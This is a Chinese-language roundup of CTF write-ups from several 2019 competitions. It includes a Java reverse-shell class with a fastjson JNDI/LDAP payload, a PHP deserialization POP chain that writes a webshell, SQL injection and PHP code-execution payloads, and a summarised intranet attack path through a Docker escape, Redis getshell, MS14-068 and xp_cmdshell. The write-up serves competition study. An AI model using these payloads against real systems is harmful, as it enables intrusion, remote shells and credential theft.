2019WriteUp 汇总 VOL 3

  7 mins to read  

2019上海大学生网络安全邀请赛

PHP

byteCTF boring_code++

curl "http://9f541345e3134764922236b093730b44cf8166f9f5cf4994.changame.ichunqiu.com/code/?code=echo(serialize(file(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))))));"

2019红帽杯

ticker_system

上传xml文件 + XXE

构造tp5.2的反序列化pop链,xxe SYSTEM "phar://"触发

服务器perl反弹shell后执行/flag ,trap bypass交互式验证码即可


easyweb

tp3.2.3 order by报错注入

无报错回显,但可列目录

orderby[updatexml(1,concat(0x25,(select/**/flaag/**/from/**/fl4g)),1)%23]=1

/App/Runtime/Logs/Api/19_11_11.log看回显


恶臭流量包

802.11流量包,aircrack-ng爆破,密钥为12345678

通过wireshark导入密钥解密流量,搜索HTTP流量,发现一个上传图片。图片中藏了一个加密的压缩包

上传请求的Cookie jwt解密后为hint:for security, I set my password as a website which i just pinged before,wireshark搜索发现没有icmp包。可以推断域名解析的ip为127.0.0.1,发现一个dnslog.cn的域名,就是压缩包密码

p.s. 没有icmp包是因为走的网卡和访问公网的不同,猜测是loopback;且Windows上wireshark默认不装winpcap是无法抓取loopback流量的


EIS2019高校运维管理赛

ezbypass

https://bugs.php.net/bug.php?id=72530

PHP7 GC disabled_functions bypass


ezjava

CVE复现,多试几个payload,需要ldap协议,jdk版本需要jdk1.8

jd反编译有fastjson1.2.47组件JSON.parse

ldap服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP:8080/#Exploit

Exploit.java

public class Exploit {
	public Exploit(){
    	try {
java.lang.Runtime.getRuntime().exec(
        	new String[]{"bash", "-c", "/bin/sh -i >& /dev/tcp/IP/9999 0>&1"});     
        } catch(Exception e){
            e.printStackTrace();
        }
    }
    
    public static void main(String[] argv){
    	Exploit e = new Exploit()
    }
}

发包

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://IP/Exploit","autoCommit":true}}}

ezpop

可写JSON格式的缓存,文件名可控,内容基本也可控,php://filter绕过exit即可

<?php
    error_reporting(0);

    class A
    {

        protected $store;

        protected $key;

        protected $expire;

        public function __construct($store, $key = 'flysystem', $expire = null)
        {
            $this->key    = $key;
            $this->store  = $store;
            $this->expire = $expire;
        }

        public function cleanContents(array $contents)
        {
            $cachedProperties = array_flip([
                'path', 'dirname', 'basename', 'extension', 'filename',
                'size', 'mimetype', 'visibility', 'timestamp', 'type',
            ]);
            
            foreach ($contents as $path => $object) {
                if (is_array($object)) {
                    $contents[$path] = array_intersect_key($object, $cachedProperties);
                }
            }

            return $contents;
        }

        public function getForStorage()
        {
            $cleaned = $this->cleanContents($this->cache);

            return json_encode([$cleaned, $this->complete]);
        }

        public function save()
        {
            $contents = $this->getForStorage();
            $this->store->set($this->key, $contents, $this->expire);
        }

        public function __destruct()
        {
            if (!$this->autosave) {
                $this->save();
            }
        }
    }

    class B
    {

        protected function getExpireTime($expire): int
        {
            return (int) $expire;
        }

        public function getCacheKey(string $name): string
        {
            return $this->options['prefix'] . $name;
        }

        protected function serialize($data): string
        {
            if (is_numeric($data)) {
                return (string) $data;
            }

            $serialize = $this->options['serialize'];

            return $serialize($data);
        }

        public function set($name, $value, $expire = null): bool
        {
            $this->writeTimes++;

            if (is_null($expire)) {
                $expire = $this->options['expire'];
            }

            $expire   = $this->getExpireTime($expire);
            $filename = $this->getCacheKey($name);

            $dir = dirname($filename);

            if (!is_dir($dir)) {
                try {
                    mkdir($dir, 0755, true);
                } catch (\Exception $e) {
                    // 创建失败
                }
            }

            $data = $this->serialize($value);

            if ($this->options['data_compress'] && function_exists('gzcompress')) {
                //数据压缩
                $data = gzcompress($data, 3);
            }

            echo $data;
            $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
            $result = file_put_contents($filename, $data);

            if ($result) {
                return true;
            }

            return false;
        }
    }

    $o = new B();
    $o->options = [
        "prefix" => "",
        "serialize" => "serialize",
        "data_compress" => "",
    ];

    
    $t = new A($o, "php://filter/write=string.strip_tags|convert.base64-decode/resource=uploads/1.php", "x");
    $t -> cache = ["path" => ["path"=>"APD89YCRfR0VUW3NdYD8+"]];
    $t -> autosave = 0;

    echo urlencode(serialize($t));
    exit;

    $dir = "uploads/";

    if (!is_dir($dir)) {
        mkdir($dir);
    }
    unserialize($_GET["data"]);

ezupload

查不到数据dpasswd == NULL,不POST password参数$_POST[password] == NULL,三等号即可判断相等

在这儿楞了半天….


Misc2

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from flask import request
from flask import Flask

secret = open('/flag', 'rb')

os.remove('/flag')

app = Flask(__name__)
app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'

@app.route('/')
def index():
    return open(__file__).read()

@app.route("/r", methods=['POST'])
def r():
    data = request.form["data"]
    if os.path.exists(data):
        return open(data).read()
    return ''

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

可从/proc读取文件描述符,脚本爆破/proc/self/fd/[i]就行了


Misc3

蚁剑流量包,openssl_decrypt解密即可

@base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));

>>> b('WW1GaVlXSmhZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaQpZbUlLYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvCmFHaG9hR2dLYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG9hR2hvYUdob2FHaG8KYUdob2FHaG9hR2dLWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbloyZG5aMmRuWjJkbgpaMmRuWjJkbloyZG5aMmNLWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppWW1KaVltSmlZbUppClltSmlZbUppWW1KaVltSmlZbUlLYm01dWJtNXVibTV1Ym01dWJtNXVibTV1Ym01dWJtNXVibTV1Ym01dWJtNXVibTV1Ym01dWJtNXUKYm01dWJtNXVibTV1Ym01dWJtNXVibTRLWm14aFozdEJiblJUZDI5eVpGOXBjMTlRYjNkbGNtWjFiRjh6TWpJeU1qSXlJU0VoSVgwSwpbU10KL3Zhci93d3cvaHRtbC90bXAKW0VdCg==')
b'YmFiYWJhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmIKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGgKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGhoaGgKZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn\nZ2dnZ2dnZ2dnZ2cKYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmJiYmJiYmJiYmJiYmIKbm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5u\nbm5ubm5ubm5ubm5ubm5ubm4KZmxhZ3tBbnRTd29yZF9pc19Qb3dlcmZ1bF8zMjIyMjIyISEhIX0K\n[S]\n/var/www/html/tmp\n[E]\n'
>>> b('YmFiYWJhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmIKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGgKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho\naGhoaGhoaGgKZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn\nZ2dnZ2dnZ2dnZ2cKYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi\nYmJiYmJiYmJiYmJiYmIKbm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5u\nbm5ubm5ubm5ubm5ubm5ubm4KZmxhZ3tBbnRTd29yZF9pc19Qb3dlcmZ1bF8zMjIyMjIyISEhIX0K')
b'babababbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh\nhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh\nggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\nbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn\nflag{AntSword_is_Powerful_3222222!!!!}\n'

2019-3CTF决赛

体验极佳的比赛,就是时间短了点。赛前熬夜复习了域渗透,结果连域的影子都没摸着 : )

靶场拓扑

入口点是3个Docker中的服务,分别是Tomcat PUT、S2和pma lfi,两台Tomcat可以拿root权限

接着Docker逃逸到宿主机后作跳板。一下午都卡在逃逸了,最后发现挨个尝试mount/devb标志位的就行了,貌似是/dev/dm-0。逃逸后可访问宿主机文件系统,写个SSH公钥即可

逃逸后按既定路线利用Redis主从复制getshell HOST2(不说了,倒计时时我的nmap才扫C段20%不到)

Redis主机被加入域了,在/root/.bash_history找到域用户账号密码,14-068获得HOST3域控权限

然后登录HOST5拿Chrome保存凭据,可获取dedeCMS后台密码,然后可通过dedeCMS或PHPMyStudy后门拿下HOST4

HOST4与HOST6站库分离,可从配置文件拿到HOST6的MSSQL密码,连上后xp_cmdshell,接着juicy-potato提权即通关